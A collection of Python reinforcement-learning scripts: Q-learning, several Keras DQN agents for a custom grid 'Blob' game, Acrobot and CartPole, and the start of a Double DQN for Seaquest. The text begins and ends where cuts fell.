done = False + + while not done: + if random.random() < EPSILON: + # exploration + action = env.action_space.sample() + else: + # exploitation + action = np.argmax(q_table[state]) + + next_state, reward, done, info = env.step(action) + + old_q = q_table[state, action] + future_q = np.max(q_table[next_state]) + + # calculate the new Q ( Q-Learning equation, i.e SARSAMAX ) + new_q = (1 - LEARNING_RATE) * old_q + LEARNING_RATE * ( reward + DISCOUNT_RATE * future_q) + # update the new Q + q_table[state, action] = new_q + + if reward == -10: + penalties += 1 + + state = next_state + epochs += 1 + rewards.append(reward) + + + + if i % SHOW_EVERY == 0: + print(f"[{i}] avg reward:{np.average(all_rewards):.4f} eps:{EPSILON:.4f}") + # env.render() + + all_epochs.append(epochs) + all_penalties.append(penalties) + all_rewards.append(np.average(rewards)) + + EPSILON *= EPSILON_DECAY + +# env.render() +# plt.plot(list(range(len(all_rewards))), all_rewards) +# plt.show() + +print("Playing in 5 seconds...") +time.sleep(5) +os.system("cls") if "nt" in os.name else os.system("clear") +# render + +state = env.reset() +done = False +while not done: + action = np.argmax(q_table[state]) + state, reward, done, info = env.step(action) + env.render() + time.sleep(0.2) + os.system("cls") if "nt" in os.name else os.system("clear") + +env.render() + + + + +import cv2 +from PIL import Image + +import os +# to use CPU uncomment below code +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) +import random +import gym +import numpy as np +import matplotlib.pyplot as plt +from collections import deque +from keras.models import Sequential +from keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Activation, Flatten +from keras.optimizers import Adam + + +EPISODES = 5_000 +REPLAY_MEMORY_MAX = 20_000 +MIN_REPLAY_MEMORY = 1_000 + +SHOW_EVERY = 50 +RENDER_EVERY = 100 +LEARN_EVERY = 50 + +GRID_SIZE = 20 +ACTION_SIZE = 9 + + +class Blob: + def __init__(self, size): + self.size = size + self.x = np.random.randint(0, size) + self.y = np.random.randint(0, size) + + def __str__(self): + return f"Blob ({self.x}, {self.y})" + + def __sub__(self, other): + return (self.x-other.x, self.y-other.y) + + def __eq__(self, other): + return self.x == other.x and self.y == other.y + + def action(self, choice): + ''' + Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) + ''' + if choice == 0: + self.move(x=1, y=1) + elif choice == 1: + self.move(x=-1, y=-1) + elif choice == 2: + self.move(x=-1, y=1) + elif choice == 3: + self.move(x=1, y=-1) + + elif choice == 4: + self.move(x=1, y=0) + elif choice == 5: + self.move(x=-1, y=0) + + elif choice == 6: + self.move(x=0, y=1) + elif choice == 7: + self.move(x=0, y=-1) + + elif choice == 8: + self.move(x=0, y=0) + + def move(self, x=False, y=False): + + # If no value for x, move randomly + if not x: + self.x += np.random.randint(-1, 2) + else: + self.x += x + + # If no value for y, move randomly + if not y: + self.y += np.random.randint(-1, 2) + else: + self.y += y + + # If we are out of bounds, fix! + if self.x < 0: + self.x = 0 + elif self.x > self.size-1: + self.x = self.size-1 + if self.y < 0: + self.y = 0 + elif self.y > self.size-1: + self.y = self.size-1 + + +class BlobEnv: + RETURN_IMAGES = True + MOVE_PENALTY = 1 + ENEMY_PENALTY = 300 + FOOD_REWARD = 25 + + ACTION_SPACE_SIZE = 9 + PLAYER_N = 1 # player key in dict + FOOD_N = 2 # food key in dict + ENEMY_N = 3 # enemy key in dict + # the dict! (colors) + d = {1: (255, 175, 0), + 2: (0, 255, 0), + 3: (0, 0, 255)} + + def __init__(self, size): + self.SIZE = size + self.OBSERVATION_SPACE_VALUES = (self.SIZE, self.SIZE, 3) # 4 + + def reset(self): + self.player = Blob(self.SIZE) + self.food = Blob(self.SIZE) + while self.food == self.player: + self.food = Blob(self.SIZE) + self.enemy = Blob(self.SIZE) + while self.enemy == self.player or self.enemy == self.food: + self.enemy = Blob(self.SIZE) + + self.episode_step = 0 + + if self.RETURN_IMAGES: + observation = np.array(self.get_image()) + else: + observation = (self.player-self.food) + (self.player-self.enemy) + return observation + + def step(self, action): + self.episode_step += 1 + self.player.action(action) + + #### MAYBE ### + #enemy.move() + #food.move() + ############## + + if self.RETURN_IMAGES: + new_observation = np.array(self.get_image()) + else: + new_observation = (self.player-self.food) + (self.player-self.enemy) + + if self.player == self.enemy: + reward = -self.ENEMY_PENALTY + done = True + elif self.player == self.food: + reward = self.FOOD_REWARD + done = True + else: + reward = -self.MOVE_PENALTY + if self.episode_step < 200: + done = False + else: + done = True + + return new_observation, reward, done + + def render(self): + img = self.get_image() + img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. + cv2.imshow("image", np.array(img)) # show it! + cv2.waitKey(1) + + # FOR CNN # + def get_image(self): + env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size + env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color + env[self.enemy.x][self.enemy.y] = self.d[self.ENEMY_N] # sets the enemy location to red + env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue + img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? + return img + + +class DQNAgent: + def __init__(self, state_size, action_size): + self.state_size = state_size + self.action_size = action_size + self.memory = deque(maxlen=REPLAY_MEMORY_MAX) + # discount rate + self.gamma = 0.95 + # exploration rate + self.epsilon = 1.0 + self.epsilon_min = 0.01 + self.epsilon_decay = 0.9997 + self.learning_rate = 0.001 + # models to be built + # Dual + self.model = self.build_model() + self.target_model = self.build_model() + self.update_target_model() + + def build_model(self): + """Builds the DQN Model""" + # Neural network for Deep-Q Learning Model + model = Sequential() + model.add(Conv2D(256, (3, 3), input_shape=self.state_size)) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Conv2D(256, (3, 3))) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors + model.add(Dense(32)) + # output layer + model.add(Dense(self.action_size, activation="linear")) + model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) + return model + + def update_target_model(self): + """Copy weights from self.model to self.target_model""" + self.target_model.set_weights(self.model.get_weights()) + + def remember(self, state, action, reward, next_state, done): + """Adds a sample to the memory""" + # for images, expand dimension, comment if you are not using images as states + state = state / 255 + next_state = next_state / 255 + state = np.expand_dims(state, axis=0) + next_state = np.expand_dims(next_state, axis=0) + self.memory.append((state, action, reward, next_state, done)) + + def act(self, state): + """Takes action using Epsilon-Greedy Policy""" + if np.random.random() <= self.epsilon: + return random.randint(0, self.action_size-1) + else: + state = state / 255 + state = np.expand_dims(state, axis=0) + act_values = self.model.predict(state) + # print("act_values:", act_values.shape) + return np.argmax(act_values[0]) + + def replay(self, batch_size): + """Train on a replay memory with a batch_size of samples""" + if len(self.memory) < MIN_REPLAY_MEMORY: + return + minibatch = random.sample(self.memory, batch_size) + for state, action, reward, next_state, done in minibatch: + target = reward + if not done: + target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) + target_f = self.model.predict(state) + target_f[0][action] = target + self.model.fit(state, target_f, epochs=1, verbose=0, batch_size=1) + # decay epsilon if possible + self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) + + def load(self, name): + self.model.load_weights(name) + self.target_model.load_weights(name) + + def save(self, name): + self.model.save_weights(name) + self.target_model.save_weights(name) + + +if __name__ == "__main__": + batch_size = 64 + env = BlobEnv(GRID_SIZE) + agent = DQNAgent(env.OBSERVATION_SPACE_VALUES, ACTION_SIZE) + ep_rewards = deque([-200], maxlen=SHOW_EVERY) + avg_rewards = [] + min_rewards = [] + max_rewards = [] + for episode in range(1, EPISODES+1): + # restarting episode => reset episode reward and step number + episode_reward = 0 + step = 1 + + # reset env and get init state + current_state = env.reset() + + done = False + while True: + # take action + action = agent.act(current_state) + next_state, reward, done = env.step(action) + + episode_reward += reward + + if episode % RENDER_EVERY == 0: + env.render() + + # add transition to agent's memory + agent.remember(current_state, action, reward, next_state, done) + if step % LEARN_EVERY == 0: + agent.replay(batch_size=batch_size) + current_state = next_state + step += 1 + + if done: + agent.update_target_model() + break + + ep_rewards.append(episode_reward) + avg_reward = np.mean(ep_rewards) + min_reward = min(ep_rewards) + max_reward = max(ep_rewards) + + avg_rewards.append(avg_reward) + min_rewards.append(min_reward) + max_rewards.append(max_reward) + print(f"[{episode}] avg:{avg_reward:.2f} min:{min_reward} max:{max_reward} eps:{agent.epsilon:.4f}") + # if episode % SHOW_EVERY == 0: + # print(f"[{episode}] avg: {avg_reward} min: {min_reward} max: {max_reward} eps: {agent.epsilon:.4f}") + + episodes = list(range(EPISODES)) + plt.plot(episodes, avg_rewards, c='b') + plt.plot(episodes, min_rewards, c='r') + plt.plot(episodes, max_rewards, c='g') + plt.show() + agent.save("blob_v1.h5") + + + + +import os +# to use CPU uncomment below code +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) +import random +import gym +import numpy as np +import matplotlib.pyplot as plt +from collections import deque +from keras.models import Sequential +from keras.layers import Dense +from keras.optimizers import Adam + + +EPISODES = 5_000 +REPLAY_MEMORY_MAX = 2_000 + +SHOW_EVERY = 500 +RENDER_EVERY = 1_000 + +class DQNAgent: + def __init__(self, state_size, action_size): + self.state_size = state_size + self.action_size = action_size + self.memory = deque(maxlen=REPLAY_MEMORY_MAX) + # discount rate + self.gamma = 0.95 + # exploration rate + self.epsilon = 1.0 + self.epsilon_min = 0.01 + self.epsilon_decay = 0.9997 + self.learning_rate = 0.001 + # models to be built + # Dual + self.model = self.build_model() + self.target_model = self.build_model() + self.update_target_model() + + def build_model(self): + """Builds the DQN Model""" + # Neural network for Deep-Q Learning Model + model = Sequential() + model.add(Dense(32, input_dim=self.state_size, activation="relu")) + model.add(Dense(32, activation="relu")) + # output layer + model.add(Dense(self.action_size, activation="linear")) + model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) + return model + + def update_target_model(self): + """Copy weights from self.model to self.target_model""" + self.target_model.set_weights(self.model.get_weights()) + + def remember(self, state, action, reward, next_state, done): + """Adds a sample to the memory""" + self.memory.append((state, action, reward, next_state, done)) + + def act(self, state): + """Takes action using Epsilon-Greedy Policy""" + if np.random.random() <= self.epsilon: + return random.randint(0, self.action_size-1) + else: + act_values = self.model.predict(state) + # print("act_values:", act_values.shape) + return np.argmax(act_values[0]) + + def replay(self, batch_size): + """Train on a replay memory with a batch_size of samples""" + minibatch = random.sample(self.memory, batch_size) + for state, action, reward, next_state, done in minibatch: + target = reward + if not done: + target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) + target_f = self.model.predict(state) + target_f[0][action] = target + self.model.fit(state, target_f, epochs=1, verbose=0) + # decay epsilon if possible + self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) + + def load(self, name): + self.model.load_weights(name) + self.target_model.load_weights(name) + + def save(self, name): + self.model.save_weights(name) + self.target_model.save_weights(name) + + +if __name__ == "__main__": + env = gym.make("Acrobot-v1") + state_size = env.observation_space.shape[0] + action_size = env.action_space.n + agent = DQNAgent(state_size=state_size, action_size=action_size) + # agent.load("AcroBot_v1.h5") + done = False + batch_size = 32 + + all_rewards = deque(maxlen=SHOW_EVERY) + avg_rewards = [] + + for e in range(EPISODES): + state = env.reset() + state = np.reshape(state, (1, state_size)) + rewards = 0 + while True: + action = agent.act(state) + # print(action) + next_state, reward, done, info = env.step(action) + # punish if not yet finished + # reward = reward if not done else 10 + next_state = np.reshape(next_state, (1, state_size)) + agent.remember(state, action, reward, next_state, done) + state = next_state + if done: + agent.update_target_model() + break + if e % RENDER_EVERY == 0: + env.render() + rewards += reward + # print(rewards) + all_rewards.append(rewards) + avg_reward = np.mean(all_rewards) + avg_rewards.append(avg_reward) + if e % SHOW_EVERY == 0: + print(f"[{e:4}] avg reward:{avg_reward:.3f} eps: {agent.epsilon:.2f}") + if len(agent.memory) > batch_size: + agent.replay(batch_size) + + agent.save("AcroBot_v1.h5") + plt.plot(list(range(EPISODES)), avg_rewards) + plt.show() + + + + +import os +# to use CPU uncomment below code +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) +import random +import gym +import numpy as np +import matplotlib.pyplot as plt +from collections import deque +from keras.models import Sequential +from keras.layers import Dense +from keras.optimizers import Adam + + +EPISODES = 1000 +REPLAY_MEMORY_MAX = 5000 + +SHOW_EVERY = 100 + +class DQNAgent: + def __init__(self, state_size, action_size): + self.state_size = state_size + self.action_size = action_size + self.memory = deque(maxlen=REPLAY_MEMORY_MAX) + # discount rate + self.gamma = 0.95 + # exploration rate + self.epsilon = 1.0 + self.epsilon_min = 0.01 + self.epsilon_decay = 0.995 + self.learning_rate = 0.001 + # model to be built + self.model = None + self.build_model() + + def build_model(self): + """Builds the DQN Model""" + # Neural network for Deep-Q Learning Model + model = Sequential() + model.add(Dense(24, input_dim=self.state_size, activation="relu")) + model.add(Dense(24, activation="relu")) + # output layer + model.add(Dense(self.action_size, activation="linear")) + model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) + self.model = model + + def remember(self, state, action, reward, next_state, done): + """Adds a sample to the memory""" + self.memory.append((state, action, reward, next_state, done)) + + def act(self, state): + """Takes action using Epsilon-Greedy Policy""" + if np.random.random() <= self.epsilon: + return random.randint(0, self.action_size-1) + else: + act_values = self.model.predict(state) + # print("act_values:", act_values.shape) + return np.argmax(act_values[0]) + + def replay(self, batch_size): + """Train on a replay memory with a batch_size of samples""" + minibatch = random.sample(self.memory, batch_size) + for state, action, reward, next_state, done in minibatch: + target = reward + if not done: + target = ( reward + self.gamma * np.max(self.model.predict(next_state)[0]) ) + target_f = self.model.predict(state) + target_f[0][action] = target + self.model.fit(state, target_f, epochs=1, verbose=0) + # decay epsilon if possible + self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) + + def load(self, name): + self.model.load_weights(name) + + def save(self, name): + self.model.save_weights(name) + + +if __name__ == "__main__": + env = gym.make("CartPole-v1") + state_size = env.observation_space.shape[0] + action_size = env.action_space.n + agent = DQNAgent(state_size=state_size, action_size=action_size) + + done = False + batch_size = 32 + + scores = [] + avg_scores = [] + avg_score = 0 + for e in range(EPISODES): + state = env.reset() + state = np.reshape(state, (1, state_size)) + + for t in range(500): + action = agent.act(state) + # print(action) + next_state, reward, done, info = env.step(action) + # punish if not yet finished + reward = reward if not done else -10 + next_state = np.reshape(next_state, (1, state_size)) + agent.remember(state, action, reward, next_state, done) + state = next_state + if done: + print(f"[{e:4}] avg score:{avg_score:.3f} eps: {agent.epsilon:.2f}") + break + if e % SHOW_EVERY == 0: + env.render() + if len(agent.memory) > batch_size: + agent.replay(batch_size) + scores.append(t) + + avg_score = np.average(scores) + avg_scores.append(avg_score) + + agent.save("v1.h5") + plt.plot(list(range(EPISODES)), avg_scores) + plt.show() + + + + +import numpy as np +import keras.backend.tensorflow_backend as backend +from keras.models import Sequential +from keras.layers import Dense, Dropout, Conv2D, MaxPooling2D, Activation, Flatten, LSTM +from keras.optimizers import Adam +from keras.callbacks import TensorBoard +import tensorflow as tf +from collections import deque +import time +import random +from tqdm import tqdm +import os +from PIL import Image +import cv2 +import itertools + + +DISCOUNT = 0.96 +REPLAY_MEMORY_SIZE = 50_000 # How many last steps to keep for model training +MIN_REPLAY_MEMORY_SIZE = 1_000 # Minimum number of steps in a memory to start training +MINIBATCH_SIZE = 32 # How many steps (samples) to use for training +UPDATE_TARGET_EVERY = 5 # Terminal states (end of episodes) +MODEL_NAME = '3x128-LSTM-7enemies-' +MIN_REWARD = -200 # For model save +MEMORY_FRACTION = 0.20 + +# Environment settings +EPISODES = 50_000 + +# Exploration settings +epsilon = 1.0 # not a constant, going to be decayed +EPSILON_DECAY = 0.999771 +MIN_EPSILON = 0.01 + +# Stats settings +AGGREGATE_STATS_EVERY = 100 # episodes +SHOW_PREVIEW = False + + +class Blob: + def __init__(self, size): + self.size = size + self.x = np.random.randint(0, size) + self.y = np.random.randint(0, size) + + def __str__(self): + return f"Blob ({self.x}, {self.y})" + + def __sub__(self, other): + return (self.x-other.x, self.y-other.y) + + def __eq__(self, other): + return self.x == other.x and self.y == other.y + + def action(self, choice): + ''' + Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) + ''' + if choice == 0: + self.move(x=1, y=0) + elif choice == 1: + self.move(x=-1, y=0) + elif choice == 2: + self.move(x=0, y=1) + elif choice == 3: + self.move(x=0, y=-1) + + + def move(self, x=False, y=False): + + # If no value for x, move randomly + if x is False: + self.x += np.random.randint(-1, 2) + else: + self.x += x + + # If no value for y, move randomly + if y is False: + self.y += np.random.randint(-1, 2) + else: + self.y += y + + # If we are out of bounds, fix! + if self.x < 0: + self.x = 0 + elif self.x > self.size-1: + self.x = self.size-1 + if self.y < 0: + self.y = 0 + elif self.y > self.size-1: + self.y = self.size-1 + + +class BlobEnv: + SIZE = 20 + RETURN_IMAGES = False + MOVE_PENALTY = 1 + ENEMY_PENALTY = 300 + FOOD_REWARD = 25 + # if RETURN_IMAGES: + # OBSERVATION_SPACE_VALUES = (SIZE, SIZE, 3) # 4 + # else: + # OBSERVATION_SPACE_VALUES = (4,) + ACTION_SPACE_SIZE = 4 + PLAYER_N = 1 # player key in dict + FOOD_N = 2 # food key in dict + ENEMY_N = 3 # enemy key in dict + # the dict! (colors) + d = {1: (255, 175, 0), + 2: (0, 255, 0), + 3: (0, 0, 255)} + + def __init__(self, n_enemies=7): + self.n_enemies = n_enemies + self.n_states = len(self.reset()) + + def reset(self): + self.enemies = [] + self.player = Blob(self.SIZE) + self.food = Blob(self.SIZE) + while self.food == self.player: + self.food = Blob(self.SIZE) + for i in range(self.n_enemies): + enemy = Blob(self.SIZE) + while enemy == self.player or enemy == self.food: + enemy = Blob(self.SIZE) + self.enemies.append(enemy) + + self.episode_step = 0 + + if self.RETURN_IMAGES: + observation = np.array(self.get_image()) + else: + # all blob's coordinates + observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) + return observation + + def step(self, action): + self.episode_step += 1 + self.player.action(action) + + #### MAYBE ### + #enemy.move() + #food.move() + ############## + + if self.RETURN_IMAGES: + new_observation = np.array(self.get_image()) + else: + new_observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) + + # set the reward to move penalty by default + reward = -self.MOVE_PENALTY + + if self.player == self.food: + # if the player hits the food, good reward + reward = self.FOOD_REWARD + else: + for enemy in self.enemies: + if enemy == self.player: + # if the player hits one of the enemies, heavy punishment + reward = -self.ENEMY_PENALTY + break + + done = False + if reward == self.FOOD_REWARD or reward == -self.ENEMY_PENALTY or self.episode_step >= 200: + done = True + return new_observation, reward, done + + def render(self): + img = self.get_image() + img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. + cv2.imshow("image", np.array(img)) # show it! + cv2.waitKey(1) + + # FOR CNN # + def get_image(self): + env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size + env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color + for enemy in self.enemies: + env[enemy.x][enemy.y] = self.d[ENEMY_N] # sets the enemy location to red + env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue + img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? + return img + + +env = BlobEnv() + +# For stats +ep_rewards = [-200] + +# For more repetitive results +random.seed(1) +np.random.seed(1) +tf.set_random_seed(1) + +# Memory fraction, used mostly when trai8ning multiple agents +#gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=MEMORY_FRACTION) +#backend.set_session(tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))) + +# Create models folder +if not os.path.isdir('models'): + os.makedirs('models') + + +# Own Tensorboard class +class ModifiedTensorBoard(TensorBoard): + + # Overriding init to set initial step and writer (we want one log file for all .fit() calls) + def __init__(self, **kwargs): + super().__init__(**kwargs) + self.step = 1 + self.writer = tf.summary.FileWriter(self.log_dir) + + # Overriding this method to stop creating default log writer + def set_model(self, model): + pass + + # Overrided, saves logs with our step number + # (otherwise every .fit() will start writing from 0th step) + def on_epoch_end(self, epoch, logs=None): + self.update_stats(**logs) + + # Overrided + # We train for one batch only, no need to save anything at epoch end + def on_batch_end(self, batch, logs=None): + pass + + # Overrided, so won't close writer + def on_train_end(self, _): + pass + + # Custom method for saving own metrics + # Creates writer, writes custom metrics and closes writer + def update_stats(self, **stats): + self._write_logs(stats, self.step) + + +# Agent class +class DQNAgent: + def __init__(self, state_in_image=True): + + self.state_in_image = state_in_image + + # Main model + self.model = self.create_model() + + # Target network + self.target_model = self.create_model() + self.target_model.set_weights(self.model.get_weights()) + + # An array with last n steps for training + self.replay_memory = deque(maxlen=REPLAY_MEMORY_SIZE) + + # Custom tensorboard object + self.tensorboard = ModifiedTensorBoard(log_dir="logs/{}-{}".format(MODEL_NAME, int(time.time()))) + + # Used to count when to update target network with main network's weights + self.target_update_counter = 0 + + def create_model(self): + # get the NN input length + model = Sequential() + if self.state_in_image: + model.add(Conv2D(256, (3, 3), input_shape=env.OBSERVATION_SPACE_VALUES)) # OBSERVATION_SPACE_VALUES = (10, 10, 3) a 10x10 RGB image. + model.add(Activation('relu')) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Conv2D(256, (3, 3))) + model.add(Activation('relu')) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors + model.add(Dense(32)) + else: + # model.add(Dense(32, activation="relu", input_shape=(env.n_states,))) + # model.add(Dense(32, activation="relu")) + # model.add(Dropout(0.2)) + # model.add(Dense(32, activation="relu")) + # model.add(Dropout(0.2)) + model.add(LSTM(128, activation="relu", input_shape=(None, env.n_states,), return_sequences=True)) + model.add(Dropout(0.3)) + model.add(LSTM(128, activation="relu", return_sequences=True)) + model.add(Dropout(0.3)) + model.add(LSTM(128, activation="relu", return_sequences=False)) + model.add(Dropout(0.3)) + + model.add(Dense(env.ACTION_SPACE_SIZE, activation='linear')) # ACTION_SPACE_SIZE = how many choices (9) + model.compile(loss="mse", optimizer=Adam(lr=0.001), metrics=['accuracy']) + return model + + # Adds step's data to a memory replay array + # (observation space, action, reward, new observation space, done) + def update_replay_memory(self, transition): + self.replay_memory.append(transition) + + # Trains main network every step during episode + def train(self, terminal_state, step): + + # Start training only if certain number of samples is already saved + if len(self.replay_memory) < MIN_REPLAY_MEMORY_SIZE: + return + + # Get a minibatch of random samples from memory replay table + minibatch = random.sample(self.replay_memory, MINIBATCH_SIZE) + + # Get current states from minibatch, then query NN model for Q values + if self.state_in_image: + current_states = np.array([transition[0] for transition in minibatch])/255 + else: + current_states = np.array([transition[0] for transition in minibatch]) + current_qs_list = self.model.predict(np.expand_dims(current_states, axis=1)) + + # Get future states from minibatch, then query NN model for Q values + # When using target network, query it, otherwise main network should be queried + if self.state_in_image: + new_current_states = np.array([transition[3] for transition in minibatch])/255 + else: + new_current_states = np.array([transition[3] for transition in minibatch]) + future_qs_list = self.target_model.predict(np.expand_dims(new_current_states, axis=1)) + + X = [] + y = [] + + # Now we need to enumerate our batches + for index, (current_state, action, reward, new_current_state, done) in enumerate(minibatch): + + # If not a terminal state, get new q from future states, otherwise set it to 0 + # almost like with Q Learning, but we use just part of equation here + if not done: + max_future_q = np.max(future_qs_list[index]) + new_q = reward + DISCOUNT * max_future_q + else: + new_q = reward + + # Update Q value for given state + current_qs = current_qs_list[index] + current_qs[action] = new_q + + # And append to our training data + X.append(current_state) + y.append(current_qs) + + # Fit on all samples as one batch, log only on terminal state + if self.state_in_image: + self.model.fit(np.array(X)/255, np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) + else: + # self.model.fit(np.array(X), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) + self.model.fit(np.expand_dims(X, axis=1), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) + + + # Update target network counter every episode + if terminal_state: + self.target_update_counter += 1 + + # If counter reaches set value, update target network with weights of main network + if self.target_update_counter > UPDATE_TARGET_EVERY: + self.target_model.set_weights(self.model.get_weights()) + self.target_update_counter = 0 + + # Queries main network for Q values given current observation space (environment state) + def get_qs(self, state): + if self.state_in_image: + return self.model.predict(np.array(state).reshape(-1, *state.shape)/255)[0] + else: + # return self.model.predict(np.array(state).reshape(1, env.n_states))[0] + return self.model.predict(np.array(state).reshape(1, 1, env.n_states))[0] + + +agent = DQNAgent(state_in_image=False) +print("Number of states:", env.n_states) +# agent.model.load_weights("models/2x32____22.00max___-2.44avg_-200.00min__1563463022.model") +# Iterate over episodes +for episode in tqdm(range(1, EPISODES + 1), ascii=True, unit='episodes'): + + # Update tensorboard step every episode + agent.tensorboard.step = episode + + # Restarting episode - reset episode reward and step number + episode_reward = 0 + step = 1 + + # Reset environment and get initial state + current_state = env.reset() + + # Reset flag and start iterating until episode ends + done = False + while not done: + + # This part stays mostly the same, the change is to query a model for Q values + if np.random.random() > epsilon: + # Get action from Q table + action = np.argmax(agent.get_qs(current_state)) + else: + # Get random action + action = np.random.randint(0, env.ACTION_SPACE_SIZE) + + new_state, reward, done = env.step(action) + + # Transform new continous state to new discrete state and count reward + episode_reward += reward + + if SHOW_PREVIEW and not episode % AGGREGATE_STATS_EVERY: + env.render() + + # Every step we update replay memory and train main network + agent.update_replay_memory((current_state, action, reward, new_state, done)) + agent.train(done, step) + + current_state = new_state + step += 1 + + # Append episode reward to a list and log stats (every given number of episodes) + ep_rewards.append(episode_reward) + if not episode % AGGREGATE_STATS_EVERY or episode == 1: + average_reward = sum(ep_rewards[-AGGREGATE_STATS_EVERY:])/len(ep_rewards[-AGGREGATE_STATS_EVERY:]) + min_reward = min(ep_rewards[-AGGREGATE_STATS_EVERY:]) + max_reward = max(ep_rewards[-AGGREGATE_STATS_EVERY:]) + agent.tensorboard.update_stats(reward_avg=average_reward, reward_min=min_reward, reward_max=max_reward, epsilon=epsilon) + + # Save model, but only when min reward is greater or equal a set value + if average_reward >= -220: + agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') + + # Decay epsilon + if epsilon > MIN_EPSILON: + epsilon *= EPSILON_DECAY + epsilon = max(MIN_EPSILON, epsilon) + +agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') + + + + +# OpenGym Seaquest-v0 +# ------------------- +# +# This code demonstrates a Double DQN network with Priority Experience Replay +# in an OpenGym Seaquest-v0 environment. +# +# Made as part of blog series Let's make a DQN, available at: +# https://jaromiru.com/2016/11/07/lets-make-a-dqn-double-learning-and-prioritized-experience-replay/ +# +# author: Jaromir Janisch, 2016 + +import matplotlib +import random, numpy, math, gym, scipy +import tensorflow as tf +import time +from SumTree import SumTree +from keras.callbacks import TensorBoard +from collections import deque +import tqdm + +IMAGE_WIDTH = 84 +IMAGE_HEIGHT = 84 +IMAGE_STACK = 2 + +HUBER_LOSS_DELTA = 2.0 +LEARNING_RATE = 0.00045 + + +#-------------------- Modified Tensorboard ----------------------- +class RLTensorBoard(TensorBoard): + + def __init__(self, **kwargs): + """ + Overriding init to set initial step and writer (one log file for multiple .fit() calls) + """ + super().__init__(**kwargs) + self.step = 1 + self.writer = tf.summary.FileWriter(self.log_dir) + + def set_model(self, model): + """ + Overriding this method to stop creating default log writer + """ + pass + + def on_epoch_end(self, epoch, logs=None): + """ + Overrided, saves logs with our step number + (if this is not overrided, every .fit() call will start from 0th step) + """ + self.update_stats(**logs) + + def on_batch_end(self, batch, logs=None): + """ + Overrided, we train for one batch only, no need to save anything on batch end + """ + pass + + def on_train_end(self, _): + """ + Overrided, we don't close the writer + """ + pass + + def update_stats(self, **stats): + """ + Custom method for saving own metrics + Creates writer, writes custom metrics and closes writer + """ + self._write_logs(stats, self.step) + +#-------------------- UTILITIES ----------------------- +def huber_loss(y_true, y_pred): + err = y_true - y_pred + + cond = K.abs(err) < HUBER_LOSS_DELTA + L2 = 0.5 * K.square(err) + L1 = HUBER_LOSS_DELTA * (K.abs(err) - 0.5 * HUBER_LOSS_DELTA) + + loss = tf.where(cond, L2, L1) # Keras does not cover where function in tensorflow :-( + + return K.mean(loss) + +def processImage( img ): + rgb = scipy.misc.imresize(img, (IMAGE_WIDTH, IMAGE_HEIGHT), interp='bilinear') + + r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2] + gray = 0.2989 * r + 0.5870 * g + 0.1140 * b # extract luminance + + o = gray.astype('float32') / 128 - 1 # normalize + return o + +#-------------------- BRAIN --------------------------- +from keras.models import Sequential +from keras.layers import * +from 